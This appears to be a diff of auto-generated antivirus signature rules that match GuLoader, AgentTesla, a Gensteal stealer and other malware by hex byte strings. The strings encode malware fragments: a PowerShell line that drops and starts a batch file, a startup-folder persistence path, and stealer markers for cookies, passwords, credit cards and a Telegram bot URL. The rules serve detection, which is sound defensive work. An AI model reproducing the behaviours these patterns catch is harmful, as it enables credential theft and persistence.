6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //26979 + $a_4e_7 = {31 21 4d 54 42 00 01 00 12 81 01 73 76 6d 6d 65 6c 61 70 70 65 72 6e 65 73 2e 72 69 6e 01 00 0f 81 01 73 6c 69 62 65 6d 69 64 64 65 6c 2e 6a 70 67 01 00 12 81 01 53 6b 79 6b 6c 61 70 70 65 72 6e 65 73 36 2e 69 6e 69 01 00 0c 81 01 77 61 72 } //19502 + $a_64_8 = {2e 70 72 61 01 00 1a 81 01 63 61 64 67 69 6e 65 73 73 20 61 6c 6c 6f 74 65 64 20 70 75 73 68 70 69 6e 73 01 00 0d 81 01 74 65 61 72 74 68 75 6d 62 2e 69 6e 69 01 00 20 81 01 5c 6c 6f 74 74 65 72 69 67 65 76 69 6e 73 74 65 6e 5c 50 72 65 63 69 73 69 61 6e 73 2e 6a 70 67 01 00 1e 81 01 5c 61 74 68 6c 65 74 69 63 69 73 6d 5c 64 72 6f 6c 6c 65 } //24951 + $a_65_9 = {6c 6f 75 73 6c 79 01 00 15 81 01 61 64 61 6d 61 6e 74 69 6e 65 20 73 74 72 6f 62 69 6c 69 6e 65 01 00 09 81 01 74 72 75 63 6b 65 6e 65 73 00 00 78 1c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 57 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f } //23652 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25972+(#a_6e_2 & 1)*25700+(#a_52_3 & 1)*-32761+(#a_65_4 & 1)*24940+(#a_52_5 & 1)*-32754+(#a_74_6 & 1)*25964+(#a_72_7 & 1)*27759+(#a_2e_8 & 1)*27763+(#a_00_9 & 1)*26478) >=10 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25972+(#a_6e_2 & 1)*25700+(#a_52_3 & 1)*-32761+(#a_65_4 & 1)*24940+(#a_72_5 & 1)*29799+(#a_61_6 & 1)*26979+(#a_4e_7 & 1)*19502+(#a_64_8 & 1)*24951+(#a_65_9 & 1)*23652) >=10 } -rule _InfrastructureShared_16979{ +rule _InfrastructureShared_18096{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 46 21 4d 54 42 00 01 00 18 81 01 5c 46 6f 72 6c 73 5c 46 6f 72 68 72 64 65 6c 73 65 72 6e 65 2e 69 6e 69 01 00 1c 81 01 5c 70 6c 61 6e 74 64 6f 6d 5c 53 6b 69 6c 64 76 61 67 } //18467 + $a_31_1 = {35 2e 64 6c 6c 01 00 11 81 01 5c 49 6d 70 72 67 6e 65 72 65 64 65 73 2e 62 69 6e 01 00 0c 81 01 43 72 61 6e 65 6d 61 6e 2e 69 6e 69 01 00 11 81 01 49 73 6f 67 61 6d 65 74 69 63 31 38 37 2e 66 6f 72 01 00 0d 81 01 4d 65 72 6f 70 65 31 33 34 2e 6a 61 69 01 00 19 81 01 63 61 6c 6d 65 74 74 65 76 61 63 63 69 6e 61 74 69 6f 6e 65 6e 2e 64 69 66 } //25972 + $a_81_2 = {5c 53 65 6c 69 6e 64 61 73 31 38 30 2e 68 74 6d } //1 \Selindas180.htm + $a_81_3 = {5c 4d 65 74 72 6f 70 61 74 68 69 61 2e 7a 69 70 } //1 \Metropathia.zip + $a_81_4 = {5c 46 61 6c 68 6f 6c 64 65 73 5c 55 6e 64 72 65 73 2e 69 6e 69 } //1 \Falholdes\Undres.ini + $a_1c_5 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 4e 30 31 21 4d 54 42 00 01 00 12 81 01 73 76 6d 6d 65 6c 61 70 70 65 72 6e 65 73 2e 72 69 6e 01 00 0f 81 01 73 6c 69 62 65 6d 69 64 64 65 6c 2e 6a 70 67 01 00 12 81 01 53 6b 79 6b 6c 61 70 70 65 72 6e 65 73 36 2e 69 6e 69 01 00 0c 81 01 77 61 72 77 61 72 64 73 2e 70 } //0 + $a_00_6 = {1a } //24946 + $a_61_7 = {67 69 6e 65 73 73 20 61 6c 6c 6f 74 65 64 20 70 75 73 68 70 69 6e 73 01 00 0d 81 01 74 65 61 72 74 68 75 6d 62 2e 69 6e 69 01 00 20 81 01 5c 6c 6f 74 74 65 72 69 67 65 76 69 6e 73 74 65 6e 5c 50 72 65 63 69 73 69 61 6e 73 2e 6a 70 67 01 00 1e 81 01 5c 61 74 68 6c 65 74 69 63 69 73 6d 5c 64 72 6f } //385 + $a_64_8 = {6a 65 61 6c 6f 75 73 6c 79 01 00 15 81 01 61 64 61 6d 61 6e 74 69 6e 65 20 73 74 72 6f 62 69 6c 69 6e 65 01 00 09 81 01 74 72 75 63 6b 65 6e 65 73 00 00 78 1c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 57 21 4d 54 42 00 01 } //27756 + $a_01_9 = {67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 12 80 01 67 65 74 5f 52 65 66 6c 65 63 74 69 6f 6e 45 6d 69 74 01 00 0e 80 01 52 65 66 6c 65 63 74 69 6f 6e 45 6d 69 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 } //4864 + condition: + ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*25972+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_1c_5 & 1)*0+(#a_00_6 & 1)*24946+(#a_61_7 & 1)*385+(#a_64_8 & 1)*27756+(#a_01_9 & 1)*4864) >=10 + +} +rule _InfrastructureShared_18097{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 4e 30 31 21 4d 54 42 00 01 00 12 81 01 73 76 6d 6d 65 6c 61 70 70 65 72 6e 65 73 2e 72 69 6e 01 00 0f 81 01 73 6c 69 62 65 6d 69 64 64 65 6c 2e 6a 70 67 01 00 12 81 01 53 6b 79 6b 6c 61 70 70 65 } //18467 + $a_73_1 = {2e 69 6e 69 01 00 0c 81 01 77 61 72 77 61 72 64 73 2e 70 72 61 01 00 1a 81 01 63 61 64 67 69 6e 65 73 73 20 61 6c 6c 6f 74 65 64 20 70 75 73 68 70 69 6e 73 01 00 0d 81 01 74 65 61 72 74 68 75 6d 62 2e 69 6e 69 01 00 20 81 01 5c 6c 6f 74 74 65 72 69 67 65 76 69 6e 73 74 65 6e 5c 50 72 65 63 69 73 69 61 } //28274 + $a_6a_2 = {67 01 00 1e 81 01 5c 61 74 68 6c 65 74 69 63 69 73 6d 5c 64 72 6f 6c 6c 65 64 5c 6a 65 61 6c 6f 75 73 6c 79 01 00 15 81 01 61 64 61 6d 61 } //29550 + $a_6e_3 = {20 73 74 72 6f 62 69 6c 69 6e 65 01 00 09 81 01 74 72 75 63 6b 65 6e 65 73 00 00 78 1c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 44 57 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 12 80 01 } //29806 + $a_5f_4 = {65 66 6c 65 63 74 69 6f 6e 45 6d 69 74 01 00 0e 80 01 52 65 66 6c 65 63 74 69 6f 6e 45 6d 69 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 4c 61 74 65 42 69 6e 64 } //25959 + $a_01_5 = {00 0f 80 01 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 22 80 01 53 74 61 72 45 67 67 43 6f 6e 74 72 6f 6c 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 05 80 01 53 6c 65 65 70 00 00 78 1c 01 00 14 00 14 00 0b 00 21 23 48 53 54 52 3a 54 } //28265 + $a_61_6 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4a 32 33 21 4d 54 42 00 0a 00 1b 81 01 75 00 6e 00 69 00 66 00 75 00 5f 00 54 00 65 00 00 0b 78 00 74 00 42 00 6f 00 78 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0e 81 01 4e 65 77 } //28530 + $a_65_7 = {69 6e 64 69 6e 67 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 11 81 01 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 44 01 00 11 81 01 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 45 01 00 11 81 01 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 46 01 00 11 81 01 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 47 01 00 11 81 01 5f 5f 5f } //24908 + $a_5f_8 = {5f 5f 5f 5f 5f 5f 5f 5f 48 01 00 11 81 01 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 49 00 00 78 1c 01 00 64 00 64 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 42 61 64 4d 61 72 62 6c 65 73 2e 41 21 64 68 61 00 32 00 85 01 70 6f 77 } //24415 + $a_68_9 = {6c 6c 20 2d 63 6f 6d 6d 61 6e 64 20 4e 65 77 2d 49 74 65 6d 20 28 24 65 6e 76 3a 54 65 6d 70 2b 27 5c 6e 65 77 66 69 6c 65 2e 62 61 74 27 29 3b 53 65 74 2d 43 6f 6e 74 65 6e 74 20 28 24 65 6e 76 3a 54 65 6d 70 2b 27 5c 6e 65 77 66 69 6c 65 2e 62 61 74 27 29 20 27 73 74 61 72 74 20 25 78 25 20 2d 6c 6f 61 64 20 22 4d 61 74 68 43 53 2d 6c 61 62 } //29285 ll -command New-Item ($env:Temp+'\newfile.bat');Set-Content ($env:Temp+'\newfile.bat') 'start %x% -load "MathCS-lab + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28274+(#a_6a_2 & 1)*29550+(#a_6e_3 & 1)*29806+(#a_5f_4 & 1)*25959+(#a_01_5 & 1)*28265+(#a_61_6 & 1)*28530+(#a_65_7 & 1)*24908+(#a_5f_8 & 1)*24415+(#a_68_9 & 1)*29285) >=10 + +} +rule _InfrastructureShared_18098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -201432,7 +214951,7 @@ rule _InfrastructureShared_16979{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_1c_7 & 1)*0+(#a_4e_8 & 1)*-32498+(#a_65_9 & 1)*24908+(#a_5f_10 & 1)*24415) >=11 } -rule _InfrastructureShared_16980{ +rule _InfrastructureShared_18099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " @@ -201451,7 +214970,7 @@ rule _InfrastructureShared_16980{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_5f_3 & 1)*385+(#a_5f_4 & 1)*24415+(#a_54_5 & 1)*30318+(#a_61_6 & 1)*29479+(#a_20_7 & 1)*25955+(#a_00_8 & 1)*45+(#a_00_9 & 1)*110+(#a_33_10 & 1)*26967) >=20 } -rule _InfrastructureShared_16981{ +rule _InfrastructureShared_18100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -201462,7 +214981,7 @@ rule _InfrastructureShared_16981{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*14966) >=100 } -rule _InfrastructureShared_16982{ +rule _InfrastructureShared_18101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -201474,7 +214993,7 @@ rule _InfrastructureShared_16982{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_00_3 & 1)*58) >=400 } -rule _InfrastructureShared_16983{ +rule _InfrastructureShared_18102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -201484,7 +215003,7 @@ rule _InfrastructureShared_16983{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16984{ +rule _InfrastructureShared_18103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -201496,7 +215015,7 @@ rule _InfrastructureShared_16984{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_2 & 1)*120) >=1 } -rule _InfrastructureShared_16985{ +rule _InfrastructureShared_18104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -201508,7 +215027,7 @@ rule _InfrastructureShared_16985{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24864+(#a_00_3 & 1)*32) >=1 } -rule _InfrastructureShared_16986{ +rule _InfrastructureShared_18105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -201521,7 +215040,7 @@ rule _InfrastructureShared_16986{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*13891+(#a_41_2 & 1)*17985+(#a_31_3 & 1)*17208) >=1 } -rule _InfrastructureShared_16987{ +rule _InfrastructureShared_18106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -201533,7 +215052,7 @@ rule _InfrastructureShared_16987{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25445+(#a_00_4 & 1)*112) >=1 } -rule _InfrastructureShared_16988{ +rule _InfrastructureShared_18107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -201550,7 +215069,7 @@ rule _InfrastructureShared_16988{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*400+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1) >=1 } -rule _InfrastructureShared_16989{ +rule _InfrastructureShared_18108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -201561,7 +215080,7 @@ rule _InfrastructureShared_16989{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*58) >=2 } -rule _InfrastructureShared_16990{ +rule _InfrastructureShared_18109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -201572,7 +215091,7 @@ rule _InfrastructureShared_16990{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_16991{ +rule _InfrastructureShared_18110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -201583,7 +215102,7 @@ rule _InfrastructureShared_16991{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*73) >=3 } -rule _InfrastructureShared_16992{ +rule _InfrastructureShared_18111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -201594,19 +215113,30 @@ rule _InfrastructureShared_16992{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762) >=3 } -rule _InfrastructureShared_16993{ +rule _InfrastructureShared_18112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 36 34 2f 4d 61 6c 67 65 6e 74 2e 59 21 4d 54 42 00 01 00 72 02 48 83 ec 20 4c 63 61 3c 45 33 ff 48 8b ea 48 8b f9 45 8b df 41 8b 9c 0c 88 00 00 00 48 03 d9 44 8b 73 24 44 8b 53 20 4c 03 f1 4c 03 d1 48 81 fa 00 00 01 00 90 02 02 44 8b 43 } //18467 $a_d5_1 = {3b d0 0f 90 02 05 8b 4b 14 41 03 c8 3b d1 0f 90 02 05 8b 4b 1c 41 2b d0 48 03 cf 4c 8b 1c d1 90 02 02 8b 73 18 45 8b cf 85 f6 90 02 02 66 0f 1f 84 90 00 01 00 3c 02 41 0f b7 40 14 45 0f b7 58 06 48 83 c0 18 49 03 c0 45 85 db 90 01 02 8b 50 0c 4c 3b d2 90 01 02 8b 48 08 03 ca 4c 3b d1 90 01 02 41 ff c1 48 83 c0 28 45 3b cb 90 01 02 33 c0 90 00 01 00 40 00 63 c2 49 3b c0 7c e0 8b 5d 9b 41 03 d8 eb 4c 45 8b cb 48 85 d2 7e 42 4c 8b 6d ef 4d 8b c3 4d 8b d5 41 83 e5 3f 49 c1 fa 06 4e 8d 1c ed 00 00 00 00 4d 03 dd 41 8a 04 38 41 ff c1 4b 8b 8c d7 c0 } //3856 - $a_1d_2 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 55 30 30 31 35 21 4d 54 42 00 01 00 2e 01 2d 36 39 7e 2d 36 37 7e 2d 37 32 7e 2d 36 31 7e 2d 32 45 7e 2d 36 34 7e 2d 36 43 7e 2d 36 43 7e 7e 7e 2d 32 45 7e 2d 30 37 7e 2d 30 31 7e 01 00 30 01 31 7e 2d 36 44 7e 2d 36 35 7e 7e 7e 7e 7e 2d } //0 + $a_1d_2 = {00 03 00 03 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 46 6c 69 67 68 74 2e 41 21 64 68 61 00 01 00 7c 01 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 } //0 condition: ((#a_54_0 & 1)*18467+(#a_d5_1 & 1)*3856+(#a_1d_2 & 1)*0) >=3 } -rule _InfrastructureShared_16994{ +rule _InfrastructureShared_18113{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 46 6c 69 67 68 74 2e 41 21 64 68 61 00 01 00 7c 01 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 4d 00 69 00 63 } //16675 慈正潔汯䴺䥓⽌牆獯祴汆杩瑨䄮搡慨Ā簀封䄀瀀瀀䐀愀琀愀尀刀漀愀洀椀渀最尀䴀椀挀 + $a_00_2 = {66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 14 01 5c 00 74 00 73 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 01 00 3a 01 50 00 72 00 6f 00 67 } //115 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=3 + +} +rule _InfrastructureShared_18114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -201619,7 +215149,7 @@ rule _InfrastructureShared_16994{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*11646+(#a_30_2 & 1)*32308+(#a_7e_3 & 1)*13869) >=4 } -rule _InfrastructureShared_16995{ +rule _InfrastructureShared_18115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -201635,7 +215165,7 @@ rule _InfrastructureShared_16995{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_74_2 & 1)*28261+(#a_70_3 & 1)*25972+(#a_73_4 & 1)*28773+(#a_00_6 & 1)*82+(#a_b7_7 & 1)*22273) >=4 } -rule _InfrastructureShared_16996{ +rule _InfrastructureShared_18116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -201648,7 +215178,7 @@ rule _InfrastructureShared_16996{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28530+(#a_65_2 & 1)*25959+(#a_6a_3 & 1)*29268) >=5 } -rule _InfrastructureShared_16997{ +rule _InfrastructureShared_18117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -201660,7 +215190,7 @@ rule _InfrastructureShared_16997{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*18944+(#a_00_3 & 1)*0) >=5 } -rule _InfrastructureShared_16998{ +rule _InfrastructureShared_18118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -201670,7 +215200,7 @@ rule _InfrastructureShared_16998{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_16999{ +rule _InfrastructureShared_18119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -201680,7 +215210,7 @@ rule _InfrastructureShared_16999{ ((#a_46_0 & 1)*16675) >=6 } -rule _InfrastructureShared_17000{ +rule _InfrastructureShared_18120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -201695,7 +215225,7 @@ rule _InfrastructureShared_17000{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*21074+(#a_30_2 & 1)*14179+(#a_48_3 & 1)*19016+(#a_64_4 & 1)*28787+(#a_79_5 & 1)*28764) >=6 } -rule _InfrastructureShared_17001{ +rule _InfrastructureShared_18121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -201712,7 +215242,7 @@ rule _InfrastructureShared_17001{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29953+(#a_69_2 & 1)*27749+(#a_65_3 & 1)*27240+(#a_5c_4 & 1)*-32485+(#a_6f_5 & 1)*29813+(#a_73_6 & 1)*26204+(#a_6f_7 & 1)*25933) >=8 } -rule _InfrastructureShared_17002{ +rule _InfrastructureShared_18122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -201729,7 +215259,7 @@ rule _InfrastructureShared_17002{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29793+(#a_72_2 & 1)*23553+(#a_61_3 & 1)*385+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_17003{ +rule _InfrastructureShared_18123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -201742,30 +215272,47 @@ rule _InfrastructureShared_17003{ $a_48_6 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 41 21 4d 54 42 00 01 00 } //8448 $a_5c_7 = {72 } //-32472 r $a_5c_8 = {6e 61 63 71 75 69 73 69 74 69 76 65 6e 65 73 73 5c 73 6b 61 6c 64 79 72 73 61 6c 61 74 65 72 73 01 00 0e 81 01 42 65 6e 6a 6f 69 6e 32 31 30 2e 75 6e 65 01 00 0c 81 01 46 72 65 72 68 6f 6c 64 2e 74 78 74 01 00 17 81 01 61 66 64 65 6c 69 6e 67 73 6a 6f 72 64 65 6d 6f 64 65 72 2e 6a 70 67 01 00 11 81 01 62 69 6c 66 72 61 67 74 65 72 6e 65 73 } //25956 - $a_74_9 = {00 0c 81 01 63 61 72 62 6f 78 79 6c 2e 6a 70 67 01 00 10 81 01 73 68 65 6c 74 65 72 64 6b 6b 65 74 2e 69 6e 69 01 00 0f 81 01 75 64 67 69 66 74 73 66 72 65 73 2e 65 6e 76 01 00 1a 81 01 5c 47 65 6e 6e 65 6d 73 69 67 74 69 67 68 65 64 65 6e 73 32 32 30 2e 73 6b 79 01 00 0f 81 01 5c 6d 61 73 6b 69 6e 65 72 6e 65 2e 64 6f 6b 00 00 78 1d 01 00 0b 00 09 00 0c 00 } //29742 + $a_74_9 = {00 0c 81 01 63 61 72 62 6f 78 79 6c 2e 6a 70 67 01 00 10 81 01 73 68 65 6c 74 65 72 64 6b 6b 65 74 2e 69 6e 69 01 00 0f 81 01 75 64 67 69 66 74 73 66 72 65 73 2e 65 6e 76 01 00 1a 81 01 5c 47 65 6e 6e 65 6d 73 69 67 74 69 67 68 65 64 65 6e 73 32 32 30 2e 73 6b 79 01 00 0f 81 01 5c 6d 61 73 6b 69 6e 65 72 6e 65 2e 64 6f 6b 00 00 78 1d 01 00 0a 00 0a 00 0a 00 } //29742 condition: ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29557+(#a_00_2 & 1)*29806+(#a_65_3 & 1)*385+(#a_00_4 & 1)*7544+(#a_48_6 & 1)*8448+(#a_5c_7 & 1)*-32472+(#a_5c_8 & 1)*25956+(#a_74_9 & 1)*29742) >=10 } -rule _InfrastructureShared_17004{ +rule _InfrastructureShared_18124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 41 21 4d 54 42 00 01 00 28 81 01 5c 74 72 64 65 72 5c 75 6e 61 63 71 75 69 73 69 74 69 76 65 6e 65 73 73 5c 73 6b 61 6c 64 79 72 73 61 6c 61 74 65 72 73 01 00 0e 81 01 42 65 } //18467 $a_69_1 = {32 31 30 2e 75 6e 65 01 00 0c 81 01 46 72 65 72 68 6f 6c 64 2e 74 78 74 01 00 17 81 01 61 66 64 65 6c 69 6e 67 73 6a 6f 72 64 65 6d 6f 64 65 72 2e 6a 70 67 01 00 11 81 01 62 69 6c 66 72 61 67 74 65 72 6e 65 73 2e 74 78 74 01 00 0c 81 01 63 61 72 62 6f 78 79 6c 2e 6a 70 67 01 00 10 81 01 73 68 65 6c 74 65 72 64 6b 6b 65 74 2e 69 6e } //27246 - $a_64_3 = {69 66 74 73 66 72 65 73 2e 65 6e 76 01 00 1a 81 01 5c 47 65 6e 6e 65 6d 73 69 67 74 69 67 68 65 64 65 6e 73 32 32 30 2e 73 6b 79 01 00 0f 81 01 5c 6d 61 73 6b 69 6e 65 72 6e 65 2e 64 6f 6b 00 00 78 1d 01 00 0b 00 09 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 65 6e 73 74 65 61 6c 2e 47 41 21 4d 54 42 00 01 00 20 80 01 62 68 6d } //385 - $a_65_4 = {6f 6b 61 6d 6c 6a 67 6e 63 65 6f 6e 62 6e 63 64 6f 66 6d 6d 6b 65 64 67 01 00 14 80 01 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 01 00 0b 80 01 6d 6f 7a 5f 63 6f 6f 6b 69 65 73 01 00 0c 80 01 43 72 65 64 69 74 43 61 72 64 73 2e 01 00 0d 80 01 41 75 74 68 65 6e 74 69 63 61 74 6f 72 01 00 1e } //25196 - $a_45_5 = {45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 76 69 72 75 73 50 72 6f 64 75 63 74 01 00 0a 80 01 50 61 73 73 77 6f 72 64 73 3a 01 00 0a 80 01 53 63 72 65 65 6e 73 68 6f 74 01 00 06 80 01 56 4d 77 61 72 65 01 00 18 80 01 42 72 6f 77 73 65 72 20 44 61 } //384 - $a_45_6 = {74 65 6e 73 69 6f 6e 73 2f 01 00 0a 80 01 77 61 